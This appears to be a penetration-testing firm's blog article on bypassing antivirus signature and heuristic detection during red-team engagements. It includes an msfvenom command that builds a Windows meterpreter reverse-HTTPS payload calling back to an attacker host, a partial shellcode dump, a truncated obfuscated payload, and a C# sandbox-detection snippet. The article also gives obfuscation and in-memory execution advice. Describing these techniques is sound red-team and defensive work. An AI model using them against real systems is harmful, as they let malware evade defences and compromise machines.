While conducting Red Teaming, Phishing and Internal Pentest investigations, we regularly enter environments where antivirus programs are running. This can lead to blocking access by means of a simple payload. Payloads are scripts that attackers use to communicate with a hacked system. These can be sophisticated payloads that connect the target to a C2 infrastructure, or they can be simple reverse shells.

This article explains how to bypass antivirus software in order to execute more advanced payloads as well.

WHAT IS ANTIVIRUS?

Antivirus is software used to prevent, scan, detect and remove viruses on a computer. After installation, most antivirus software runs automatically in the background to provide real-time protection against virus attacks.

HOW DOES ANTIVIRUS WORK?

In order to bypass an antivirus, it is important to first know how it works in basic terms.

Usually antivirus software works with two detection systems, namely: signature-based detection and heuristic-based detection. To find out exactly how a specific antivirus software works, it can be examined using reverse engineering. Often this is not necessary to circumvent detection, as most commercial antivirus software uses similar detection methods.

SIGNATURE-BASED DETECTION

Signature-based detection is the most widely used and traditional way to detect threats. In the past, it was the only method used to detect viruses. Since it is relatively easy for attackers to circumvent, it is now mostly used in combination with other detection methods, such as heuristic-based detection.

Signature-based detection detects threats by comparing components or an entire program against a database that keeps track of known threats. As soon as a new virus or malware variant is discovered, the antivirus vendor creates a new signature and stores it in the database. It is then possible to provide protection against this specific piece of malware based on this signature. It also looks for static instructions that are often used in malware.

HEURISTIC-BASED DETECTION

Heuristic-based detection detects threats by testing the behavior of the program. This is done in a so-called “sandbox environment”. Here the program is run in and as soon as the program performs questionable actions, it is terminated and deleted.

BYPASSING ANTIVIRUS SOFTWARE IS A CAT AND MOUSE GAME

Antivirus software is constantly being updated. As many as hundreds of new threats are added daily to the databases this software draws from. As a result, malware writers must constantly invent new methods to evade detection. The theory of detection often remains the same, therefore it is important to make small changes to the malware code to actually achieve the same goal.

BYPASS SIGNATURE-BASED DETECTION

To bypass signature-based detection, the file must be modified so that the blacklisted signatures no longer match. If there are functions in the code that are known to be in the signature databases, they must be replaced with another function to achieve the same thing. Also, functions should not be called too often. In some cases, a specific function is not blacklisted when called once, but is blacklisted when called multiple times in a row.

The codebase and payload should be obfuscated. This means not using function names that could potentially give away that the script is a malware. So words like “payload runner”, “reverse shell”, “malware” and similar strings should be replaced with random words. The same applies to standard functions in programming languages that are often used to run malware. These can be packed into a custom function, for example.

Signature-based detection is often easy to circumvent by using obfuscation in the malware code. Below is an example of a meterpreter payload that has been obfuscated.

Raw meterpreter payload:

$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=X.X.X.X LPORT=443 -f csharp
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 727 bytes
Final size of csharp file: 3715 bytes
byte[] buf = new byte[727] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x51,0x56,0x48,
0x8b,0x52,0x20,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x8b,0x72,0x50,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x41,0x51,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b...

Obfuscated meterpreter payload:

string str = "uWDLz7uKnGVTaBc8GCFhPAelaCxBC60USQLLHHsZ7QZlZXniA+kiNRtn4ScTOQK0mktYBiZvBgfog00PYpCEu...

By adding signature-based detection bypasses to a custom malware runner, we lower the detection rate to 5/26 antivirus vendors. This can be seen in the image below:

BYPASSING HEURISTIC-BASED DETECTION

Bypassing heuristic-based detection is a bit more complex. It cannot be done by obfuscating the malware code. To bypass heuristic-based detection, the antivirus sandbox must be detected by the malware. If the malware is run in a sandbox by the antivirus, the malware can call an exit function and stop the program. This does not look suspicious to an antivirus because the malware itself will never be run in the sandbox. If the malware is run on a normal machine, the malware will be executed.

Also, the behavior of the malware should be as “normal” as possible. So no files should be left on the hard drive, it should run completely in-memory and it should be hidden. In addition, it is important that the network traffic does not deviate from the rest of the normal network traffic. This can cause it to be blocked by a firewall.

One way to detect a sandbox is to use non-emulated windows APIs. Non-emulated APIs cannot run in emulated environments, such as in the sandbox environment of the antivirus software, in which the heuristic tests are performed. Using the snippet below it is possible to detect a sandbox and bypass the heuristic tests:

IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
            
if (mem == null)
{
    return;
}

There are publicly available programs to fuzz non-emulated APIs, for example: https://github.com/jackullrich/Windows-API-Fuzzer

CONCLUSION ANTIVIRUS BYPASS

For our Pentest work at Onvio, we develop custom malware that is not detected by antivirus software. The screenshot below shows that the software is not detected by the various vendors/detection mechanisms and an external connection to a compromised system on the network has been established. The screenshot below is a combination of signature-based and heuristic-based detection bypasses, this results in 0/26 detection by antivirus publishers:

By running the malware on an up-to-date system, with a latest version antivirus, it results in a system compromise: